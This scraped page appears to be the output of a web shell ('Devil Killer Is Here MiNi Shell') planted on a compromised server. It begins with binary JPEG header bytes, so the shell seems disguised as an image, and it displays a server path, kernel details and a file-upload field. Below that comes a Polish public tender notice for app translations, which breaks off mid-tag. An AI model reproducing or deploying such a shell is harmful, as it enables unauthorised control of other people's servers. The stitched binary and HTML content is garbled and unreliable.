JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/common/web/tenders/20211118/

Linux 9dbcd5f6333d 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/common/web/tenders/20211118/0027491201-N-2021.html

<!-- Version 1.0.0 --><style type="text/css"> .normal { color: black; } h1.title { }</style> <h1 class="text-center mt-5 mb-5">Ogłoszenie o zamówieniu<br/> Usługi<br/> Wykonywanie tłumaczeń pisemnych do aplikacji mobilnej, z języka polskiego na języki obce, na potrzeby realizowanego projektu pn. „Wirtualny Warszawski Obszar Funkcjonalny”. </h1> <h2 class="bg-light p-3 mt-4">SEKCJA I - ZAMAWIAJĄCY</h2> <h3 class="mb-0">1.1.) Rola zamawiającego</h3> <p class="mb-0">Postępowanie prowadzone jest samodzielnie przez zamawiającego</p> <h3 class="mb-0">1.2.) Nazwa zamawiającego: <span class="normal">STOŁECZNE BIURO TURYSTYKI</span></h3> <h3 class="mb-0">1.3.) Oddział zamawiającego: <span class="normal">jednostka budżetowa m.st Warszawy</span></h3> <h3 class="mb-0">1.4) Krajowy Numer Identyfikacyjny: <span class="normal">REGON 012216512</span></h3><h3 class="mb-0">1.5) Adres zamawiającego </h3> <h3 class="mb-0">1.5.1.) Ulica: <span class="normal">Plac Defilad 1</span></h3> <h3 class="mb-0">1.5.2.) Miejscowość: <span class="normal">Warszawa</span></h3> <h3 class="mb-0">1.5.3.) Kod pocztowy: <span class="normal">00-901</span></h3> <h3 class="mb-0">1.5.4.) Województwo: <span class="normal">mazowieckie</span></h3> <h3 class="mb-0">1.5.5.) Kraj: <span class="normal">Polska</span></h3> <h3 class="mb-0">1.5.6.) Lokalizacja NUTS 3: <span class="normal">PL911 - Miasto Warszawa</span></h3> <h3 class="mb-0">1.5.7.) Numer telefonu: <span class="normal">226566484</span></h3> <h3 class="mb-0">1.5.9.) Adres poczty elektronicznej: <span class="normal">zamowienia@warsawtour.pl</span></h3> <h3 class="mb-0">1.5.10.) Adres strony internetowej zamawiającego: <span class="normal">www.warsawtour.pl</span></h3> <h3 class="mb-0"> 1.6.) Rodzaj zamawiającego: <span class="normal">Zamawiający publiczny - jednostka sektora finansów publicznych - jednostka budżetowa</span> </h3> <h3 class="mb-0"> 1.7.) Przedmiot działalności zamawiającego: <span class="normal">Inna działalność</span> </h3> <p class="mb-0"> promocja turystyki m.st. Warszawy oraz prowadzenie informacji turystycznej </p> <h2 class="bg-light p-3 mt-4">SEKCJA II – INFORMACJE PODSTAWOWE</h2> <h3 class="mb-0">2.1.) Ogłoszenie dotyczy: </h3> <p class="mb-0"> Zamówienia publicznego </p> <h3 class="mb-0">2.2.) Ogłoszenie dotyczy usług społecznych i innych szczególnych usług: <span class="normal">Nie</span></h3> <h3 class="mb-0">2.3.) Nazwa zamówienia albo umowy ramowej: </h3> <p class="mb-0"> Wykonywanie tłumaczeń pisemnych do aplikacji mobilnej, z języka polskiego na języki obce, na potrzeby realizowanego projektu pn. „Wirtualny Warszawski Obszar Funkcjonalny”. </p> <h3 class="mb-0">2.4.) Identyfikator postępowania: <span class="normal">ocds-148610-ee1593cc-3f39-11ec-8c2d-66c2f1230e9c</span></h3> <h3 class="mb-0">2.5.) Numer ogłoszenia: <span class="normal">2021/BZP 00274912</span></h3> <h3 class="mb-0">2.6.) Wersja ogłoszenia: <span class="normal">01</span></h3> <h3 class="mb-0">2.7.) Data ogłoszenia: <span class="normal">2021-11-18</span></h3> <h3 class="mb-0">2.8.) Zamówienie albo umowa ramowa zostały ujęte w planie postępowań: <span class="normal">Tak</span></h3> <h3 class="mb-0">2.9.) Numer planu postępowań w BZP: <span class="normal">2021/BZP 00002672/05/P</span></h3> <h3 class="mb-0">2.10.) Identyfikator pozycji planu postępowań: </h3> <p class="mb-0">1.3.2 Wykonanie tłumaczeń pisemnych aplikacji mobilnej (m.in. wybór obiektów i tras, planera zwiedzania, kontaktów, ustawień, a także dokumentacji) w ramach komponentu e-turystyka projektu WWOF</p> <h3 class="mb-0">2.11.) O udzielenie zamówienia mogą ubiegać się wyłącznie wykonawcy, o których mowa w art. 94 ustawy: <span class="normal">Nie</span></h3> <h3 class="mb-0">2.14.) Czy zamówienie albo umowa ramowa dotyczy projektu lub programu współfinansowanego ze środków Unii Europejskiej: <span class="normal">Tak</span></h3> <h3 class="mb-0">2.15.) Nazwa projektu lub programu</h3> <p class="mb-0"> Wirtualny Warszawski Obszar Funkcjonalny” (Virtual WOF), współfinansowanego przez Unię Europejską ze środków Europejskiego Funduszu Rozwoju Regionalnego w ramach Regionalnego Programu Operacyjnego Województwa Mazowieckiego 2014-2020, numer projektu: RPMA.02.01.02-14-8835/17 </p> <h3 class="mb-0">2.16.) Tryb udzielenia zamówienia wraz z podstawą prawną</h3> <p class="mb-0"> Zamówienie udzielane jest w trybie podstawowym na podstawie: art. 275 pkt 1 ustawy </p> <h2 class="bg-light p-3 mt-4">SEKCJA III – UDOSTĘPNIANIE DOKUMENTÓW ZAMÓWIENIA I KOMUNIKACJA</h2> <h3 class="mb-0">3.1.) Adres strony internetowej prowadzonego postępowania</h3> https://miniportal.uzp.gov.pl/ <h3 class="mb-0">3.2.) Zamawiający zastrzega dostęp do dokumentów zamówienia: <span class="normal">Nie</span></h3> <h3 class="mb-0">3.4.) Wykonawcy zobowiązani są do składania ofert, wniosków o dopuszczenie do udziału w postępowaniu, oświadczeń oraz innych dokumentów wyłącznie przy użyciu środków komunikacji elektronicznej: <span class="normal">Tak</span></h3> <h3 class="mb-0">3.5.) Informacje o środkach komunikacji elektronicznej, przy użyciu których zamawiający będzie komunikował się z wykonawcami - adres strony internetowej: <span class="normal">https://miniportal.uzp.gov.pl/</span></h3> <h3 class="mb-0">3.6.) Wymagania techniczne i organizacyjne dotyczące korespondencji elektronicznej: <span class="normal">Wymagania techniczne i organizacyjne wysyłania i odbierania dokumentów elektronicznych, elektronicznych kopii dokumentów i oświadczeń oraz informacji przekazywanych przy ich użyciu opisane zostały w Regulaminie korzystania z systemu miniPortal oraz w warunkach korzystania z ePUAP. Szczegóły znajdują się SWZ.</span></h3> <h3 class="mb-0">3.8.) Zamawiający wymaga sporządzenia i przedstawienia ofert przy użyciu narzędzi elektronicznego modelowania danych budowlanych lub innych podobnych narzędzi, które nie są ogólnie dostępne: <span class="normal">Nie</span></h3> <h3 class="mb-0">3.12.) Oferta - katalog elektroniczny: <span class="normal">Nie dotyczy</span></h3> <h3 class="mb-0">3.14.) Języki, w jakich mogą być sporządzane dokumenty składane w postępowaniu: </h3> <p class="mb-0">polski</p> <h3 class="mb-0">3.15.) RODO (obowiązek informacyjny): <span class="normal">Został określony przez Zamawiającego w SWZ</span></h3> <h3 class="mb-0">3.16.) RODO (ograniczenia stosowania): <span class="normal">Został określony przez Zamawiającego w SWZ</span></h3> <h2 class="bg-light p-3 mt-4">SEKCJA IV – PRZEDMIOT ZAMÓWIENIA</h2> <h3 class="mb-0">4.1.1.) Przed wszczęciem postępowania przeprowadzono konsultacje rynkowe: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.1.2.) Numer referencyjny: <span class="normal">ZP/TPW1/01/2021</span></h3> <h3 class="mb-0">4.1.3.) Rodzaj zamówienia: <span class="normal">Usługi</span></h3> <h3 class="mb-0">4.1.4.) Zamawiający udziela zamówienia w częściach, z których każda stanowi przedmiot odrębnego postępowania: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.1.8.) Możliwe jest składanie ofert częściowych: <span class="normal">Tak</span></h3> <h3 class="mb-0">4.1.9.) Liczba części: <span class="normal">9</span></h3> <h3 class="mb-0">4.1.10.) Ofertę można składać na wszystkie części</h3> <h3 class="mb-0">4.1.11.) Zamawiający ogranicza liczbę części zamówienia, którą można udzielić jednemu wykonawcy: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.1.13.) Zamawiający uwzględnia aspekty społeczne, środowiskowe lub etykiety w opisie przedmiotu zamówienia: <span class="normal">Nie</span></h3><h3 class="mb-0">4.2. Informacje szczegółowe odnoszące się do przedmiotu zamówienia:</h3> <h3 class="p-2 mt-4 bg-light">Część 1</h3> <h3 class="mb-0">4.2.2.) Krótki opis przedmiotu zamówienia</h3> <p class="mb-0"> TŁUMACZENIA NA JĘZYK ANGIELSKI:<br/>Przedmiotem zamówienia jest wykonywanie tłumaczeń pisemnych do aplikacji mobilnej z języka polskiego na język angielski oraz ich weryfikację i korektę na potrzeby projektu „Wirtualny Warszawski Obszar Funkcjonalny” (Virtual WOF), współfinansowanego przez Unię Europejską ze środków Europejskiego Funduszu Rozwoju Regionalnego w ramach Regionalnego Programu Operacyjnego Województwa Mazowieckiego 2014-2020.<br/>Szczegóły w SWZ i załączniku 6A. </p> <h3 class="mb-0">4.2.6.) Główny kod CPV: <span class="normal">79530000-8 - Usługi w zakresie tłumaczeń pisemnych</span></h3> <h3 class="mb-0">4.2.8.) Zamówienie obejmuje opcje: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.10.) Okres realizacji zamówienia albo umowy ramowej: <span class="normal">do 2022-03-28</span></h3> <h3 class="mb-0">4.2.11.) Zamawiający przewiduje wznowienia: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.13.) Zamawiający przewiduje udzielenie dotychczasowemu wykonawcy zamówień na podobne usługi lub roboty budowlane: <span class="normal">Tak</span></h3> <h3 class="mb-0">4.2.14.) Przedmiot, wielkość lub zakres oraz warunki zamówień na podobne usługi lub roboty budowlane <span class="normal">Zamawiający zamierza udzielić zamówień, o których mowa w art. 214 ust. 1 pkt. 7 ustawy w wysokości do 40% wartości zamówienia podstawowego.</span></h3> <h3 class="mb-0">4.3.) Kryteria oceny ofert: </h3> <h3 class="mb-0">4.3.1.) Sposób oceny ofert: <span class="normal">Został określony w SWZ</span></h3> <h3 class="mb-0">4.3.2.) Sposób określania wagi kryteriów oceny ofert: <span class="normal">Procentowo</span></h3> <h3 class="mb-0">4.3.3.) Stosowane kryteria oceny ofert: <span class="normal"> Kryterium ceny oraz kryteria jakościowe </span></h3> <h3 class="mb-0">Kryterium 1</h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Cena</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">60</span></h3> <h3 class="mb-0">Kryterium 2</h3> <h3 class="mb-0">4.3.4.) Rodzaj kryterium: <span class="normal">organizacja, kwalifikacje zawodowe i doświadczenie osób wyznaczonych do realizacji zamówienia</span></h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Doświadczenie tłumacza pierwszego w zakresie tłumaczeń pisemnych</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">20</span></h3> <h3 class="mb-0">Kryterium 3</h3> <h3 class="mb-0">4.3.4.) Rodzaj kryterium: <span class="normal">organizacja, kwalifikacje zawodowe i doświadczenie osób wyznaczonych do realizacji zamówienia</span></h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Doświadczenie tłumacza drugiego w zakresie tłumaczeń pisemnych</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">20</span></h3> <h3 class="mb-0">4.3.10.) Zamawiający określa aspekty społeczne, środowiskowe lub innowacyjne, żąda etykiet lub stosuje rachunek kosztów cyklu życia w odniesieniu do kryterium oceny ofert: <span class="normal">Nie</span></h3> <h3 class="p-2 mt-4 bg-light">Część 2</h3> <h3 class="mb-0">4.2.2.) Krótki opis przedmiotu zamówienia</h3> <p class="mb-0"> TŁUMACZENIA NA JĘZYK ANGIELSKI:<br/>Przedmiotem zamówienia jest wykonywanie tłumaczeń pisemnych do aplikacji mobilnej z języka polskiego na język angielski oraz ich weryfikację i korektę na potrzeby projektu „Wirtualny Warszawski Obszar Funkcjonalny” (Virtual WOF), współfinansowanego przez Unię Europejską ze środków Europejskiego Funduszu Rozwoju Regionalnego w ramach Regionalnego Programu Operacyjnego Województwa Mazowieckiego 2014-2020.<br/>Szczegóły w SWZ i załączniku 6B. </p> <h3 class="mb-0">4.2.6.) Główny kod CPV: <span class="normal">79530000-8 - Usługi w zakresie tłumaczeń pisemnych</span></h3> <h3 class="mb-0">4.2.8.) Zamówienie obejmuje opcje: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.10.) Okres realizacji zamówienia albo umowy ramowej: <span class="normal">do 2022-05-19</span></h3> <h3 class="mb-0">4.2.11.) Zamawiający przewiduje wznowienia: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.13.) Zamawiający przewiduje udzielenie dotychczasowemu wykonawcy zamówień na podobne usługi lub roboty budowlane: <span class="normal">Tak</span></h3> <h3 class="mb-0">4.2.14.) Przedmiot, wielkość lub zakres oraz warunki zamówień na podobne usługi lub roboty budowlane <span class="normal">Zamawiający zamierza udzielić zamówień, o których mowa w art. 214 ust. 1 pkt. 7 ustawy w wysokości do 40% wartości zamówienia podstawowego.</span></h3> <h3 class="mb-0">4.3.) Kryteria oceny ofert: </h3> <h3 class="mb-0">4.3.1.) Sposób oceny ofert: <span class="normal">Został określony w SWZ</span></h3> <h3 class="mb-0">4.3.2.) Sposób określania wagi kryteriów oceny ofert: <span class="normal">Procentowo</span></h3> <h3 class="mb-0">4.3.3.) Stosowane kryteria oceny ofert: <span class="normal"> Kryterium ceny oraz kryteria jakościowe </span></h3> <h3 class="mb-0">Kryterium 1</h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Cena</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">60</span></h3> <h3 class="mb-0">Kryterium 2</h3> <h3 class="mb-0">4.3.4.) Rodzaj kryterium: <span class="normal">organizacja, kwalifikacje zawodowe i doświadczenie osób wyznaczonych do realizacji zamówienia</span></h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Doświadczenie tłumacza w zakresie tłumaczeń pisemnych</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">40</span></h3> <h3 class="mb-0">4.3.10.) Zamawiający określa aspekty społeczne, środowiskowe lub innowacyjne, żąda etykiet lub stosuje rachunek kosztów cyklu życia w odniesieniu do kryterium oceny ofert: <span class="normal">Nie</span></h3> <h3 class="p-2 mt-4 bg-light">Część 3</h3> <h3 class="mb-0">4.2.2.) Krótki opis przedmiotu zamówienia</h3> <p class="mb-0"> TŁUMACZENIA NA JĘZYK NIEMIECKI:<br/>Przedmiotem zamówienia jest wykonywanie tłumaczeń pisemnych do aplikacji mobilnej z języka polskiego na język niemiecki oraz ich weryfikację i korektę na potrzeby projektu „Wirtualny Warszawski Obszar Funkcjonalny” (Virtual WOF), współfinansowanego przez Unię Europejską ze środków Europejskiego Funduszu Rozwoju Regionalnego w ramach Regionalnego Programu Operacyjnego Województwa Mazowieckiego 2014-2020.<br/>Szczegóły w SWZ i załączniku 6B. </p> <h3 class="mb-0">4.2.6.) Główny kod CPV: <span class="normal">79530000-8 - Usługi w zakresie tłumaczeń pisemnych</span></h3> <h3 class="mb-0">4.2.8.) Zamówienie obejmuje opcje: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.10.) Okres realizacji zamówienia albo umowy ramowej: <span class="normal">do 2022-05-19</span></h3> <h3 class="mb-0">4.2.11.) Zamawiający przewiduje wznowienia: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.13.) Zamawiający przewiduje udzielenie dotychczasowemu wykonawcy zamówień na podobne usługi lub roboty budowlane: <span class="normal">Tak</span></h3> <h3 class="mb-0">4.2.14.) Przedmiot, wielkość lub zakres oraz warunki zamówień na podobne usługi lub roboty budowlane <span class="normal">Zamawiający zamierza udzielić zamówień, o których mowa w art. 214 ust. 1 pkt. 7 ustawy w wysokości do 40% wartości zamówienia podstawowego.</span></h3> <h3 class="mb-0">4.3.) Kryteria oceny ofert: </h3> <h3 class="mb-0">4.3.1.) Sposób oceny ofert: <span class="normal">Został określony w SWZ</span></h3> <h3 class="mb-0">4.3.2.) Sposób określania wagi kryteriów oceny ofert: <span class="normal">Procentowo</span></h3> <h3 class="mb-0">4.3.3.) Stosowane kryteria oceny ofert: <span class="normal"> Kryterium ceny oraz kryteria jakościowe </span></h3> <h3 class="mb-0">Kryterium 1</h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Cena</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">60</span></h3> <h3 class="mb-0">Kryterium 2</h3> <h3 class="mb-0">4.3.4.) Rodzaj kryterium: <span class="normal">organizacja, kwalifikacje zawodowe i doświadczenie osób wyznaczonych do realizacji zamówienia</span></h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Doświadczenie tłumacza w zakresie tłumaczeń pisemnych</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">40</span></h3> <h3 class="mb-0">4.3.10.) Zamawiający określa aspekty społeczne, środowiskowe lub innowacyjne, żąda etykiet lub stosuje rachunek kosztów cyklu życia w odniesieniu do kryterium oceny ofert: <span class="normal">Nie</span></h3> <h3 class="p-2 mt-4 bg-light">Część 4</h3> <h3 class="mb-0">4.2.2.) Krótki opis przedmiotu zamówienia</h3> <p class="mb-0"> TŁUMACZENIA NA JĘZYK FRANCUSKI:<br/>Przedmiotem zamówienia jest wykonywanie tłumaczeń pisemnych do aplikacji mobilnej z języka polskiego na język francuski oraz ich weryfikację i korektę na potrzeby projektu „Wirtualny Warszawski Obszar Funkcjonalny” (Virtual WOF), współfinansowanego przez Unię Europejską ze środków Europejskiego Funduszu Rozwoju Regionalnego w ramach Regionalnego Programu Operacyjnego Województwa Mazowieckiego 2014-2020.<br/>Szczegóły w SWZ i załączniku 6B. </p> <h3 class="mb-0">4.2.6.) Główny kod CPV: <span class="normal">79530000-8 - Usługi w zakresie tłumaczeń pisemnych</span></h3> <h3 class="mb-0">4.2.8.) Zamówienie obejmuje opcje: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.10.) Okres realizacji zamówienia albo umowy ramowej: <span class="normal">do 2022-05-19</span></h3> <h3 class="mb-0">4.2.11.) Zamawiający przewiduje wznowienia: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.13.) Zamawiający przewiduje udzielenie dotychczasowemu wykonawcy zamówień na podobne usługi lub roboty budowlane: <span class="normal">Tak</span></h3> <h3 class="mb-0">4.2.14.) Przedmiot, wielkość lub zakres oraz warunki zamówień na podobne usługi lub roboty budowlane <span class="normal">Zamawiający zamierza udzielić zamówień, o których mowa w art. 214 ust. 1 pkt. 7 ustawy w wysokości do 40% wartości zamówienia podstawowego.</span></h3> <h3 class="mb-0">4.3.) Kryteria oceny ofert: </h3> <h3 class="mb-0">4.3.1.) Sposób oceny ofert: <span class="normal">Został określony w SWZ</span></h3> <h3 class="mb-0">4.3.2.) Sposób określania wagi kryteriów oceny ofert: <span class="normal">Procentowo</span></h3> <h3 class="mb-0">4.3.3.) Stosowane kryteria oceny ofert: <span class="normal"> Kryterium ceny oraz kryteria jakościowe </span></h3> <h3 class="mb-0">Kryterium 1</h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Cena</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">60</span></h3> <h3 class="mb-0">Kryterium 2</h3> <h3 class="mb-0">4.3.4.) Rodzaj kryterium: <span class="normal">organizacja, kwalifikacje zawodowe i doświadczenie osób wyznaczonych do realizacji zamówienia</span></h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Doświadczenie tłumacza w zakresie tłumaczeń pisemnych</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">40</span></h3> <h3 class="mb-0">4.3.10.) Zamawiający określa aspekty społeczne, środowiskowe lub innowacyjne, żąda etykiet lub stosuje rachunek kosztów cyklu życia w odniesieniu do kryterium oceny ofert: <span class="normal">Nie</span></h3> <h3 class="p-2 mt-4 bg-light">Część 5</h3> <h3 class="mb-0">4.2.2.) Krótki opis przedmiotu zamówienia</h3> <p class="mb-0"> TŁUMACZENIA NA JĘZYK HISZPAŃSKI:<br/>Przedmiotem zamówienia jest wykonywanie tłumaczeń pisemnych do aplikacji mobilnej z języka polskiego na język hiszpański oraz ich weryfikację i korektę na potrzeby projektu „Wirtualny Warszawski Obszar Funkcjonalny” (Virtual WOF), współfinansowanego przez Unię Europejską ze środków Europejskiego Funduszu Rozwoju Regionalnego w ramach Regionalnego Programu Operacyjnego Województwa Mazowieckiego 2014-2020.<br/>Szczegóły w SWZ i załączniku 6B. </p> <h3 class="mb-0">4.2.6.) Główny kod CPV: <span class="normal">79530000-8 - Usługi w zakresie tłumaczeń pisemnych</span></h3> <h3 class="mb-0">4.2.8.) Zamówienie obejmuje opcje: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.10.) Okres realizacji zamówienia albo umowy ramowej: <span class="normal">do 2022-05-19</span></h3> <h3 class="mb-0">4.2.11.) Zamawiający przewiduje wznowienia: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.13.) Zamawiający przewiduje udzielenie dotychczasowemu wykonawcy zamówień na podobne usługi lub roboty budowlane: <span class="normal">Tak</span></h3> <h3 class="mb-0">4.2.14.) Przedmiot, wielkość lub zakres oraz warunki zamówień na podobne usługi lub roboty budowlane <span class="normal">Zamawiający zamierza udzielić zamówień, o których mowa w art. 214 ust. 1 pkt. 7 ustawy w wysokości do 40% wartości zamówienia podstawowego.</span></h3> <h3 class="mb-0">4.3.) Kryteria oceny ofert: </h3> <h3 class="mb-0">4.3.1.) Sposób oceny ofert: <span class="normal">Został określony w SWZ</span></h3> <h3 class="mb-0">4.3.2.) Sposób określania wagi kryteriów oceny ofert: <span class="normal">Procentowo</span></h3> <h3 class="mb-0">4.3.3.) Stosowane kryteria oceny ofert: <span class="normal"> Kryterium ceny oraz kryteria jakościowe </span></h3> <h3 class="mb-0">Kryterium 1</h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Cena</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">60</span></h3> <h3 class="mb-0">Kryterium 2</h3> <h3 class="mb-0">4.3.4.) Rodzaj kryterium: <span class="normal">organizacja, kwalifikacje zawodowe i doświadczenie osób wyznaczonych do realizacji zamówienia</span></h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Doświadczenie tłumacza w zakresie tłumaczeń pisemnych</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">40</span></h3> <h3 class="mb-0">4.3.10.) Zamawiający określa aspekty społeczne, środowiskowe lub innowacyjne, żąda etykiet lub stosuje rachunek kosztów cyklu życia w odniesieniu do kryterium oceny ofert: <span class="normal">Nie</span></h3> <h3 class="p-2 mt-4 bg-light">Część 6</h3> <h3 class="mb-0">4.2.2.) Krótki opis przedmiotu zamówienia</h3> <p class="mb-0"> TŁUMACZENIA NA JĘZYK ROSYJSKI:<br/>Przedmiotem zamówienia jest wykonywanie tłumaczeń pisemnych do aplikacji mobilnej z języka polskiego na język rosyjski oraz ich weryfikację i korektę na potrzeby projektu „Wirtualny Warszawski Obszar Funkcjonalny” (Virtual WOF), współfinansowanego przez Unię Europejską ze środków Europejskiego Funduszu Rozwoju Regionalnego w ramach Regionalnego Programu Operacyjnego Województwa Mazowieckiego 2014-2020.<br/>Szczegóły w SWZ i załączniku 6B. </p> <h3 class="mb-0">4.2.6.) Główny kod CPV: <span class="normal">79530000-8 - Usługi w zakresie tłumaczeń pisemnych</span></h3> <h3 class="mb-0">4.2.8.) Zamówienie obejmuje opcje: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.10.) Okres realizacji zamówienia albo umowy ramowej: <span class="normal">do 2022-05-19</span></h3> <h3 class="mb-0">4.2.11.) Zamawiający przewiduje wznowienia: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.13.) Zamawiający przewiduje udzielenie dotychczasowemu wykonawcy zamówień na podobne usługi lub roboty budowlane: <span class="normal">Tak</span></h3> <h3 class="mb-0">4.2.14.) Przedmiot, wielkość lub zakres oraz warunki zamówień na podobne usługi lub roboty budowlane <span class="normal">Zamawiający zamierza udzielić zamówień, o których mowa w art. 214 ust. 1 pkt. 7 ustawy w wysokości do 40% wartości zamówienia podstawowego.</span></h3> <h3 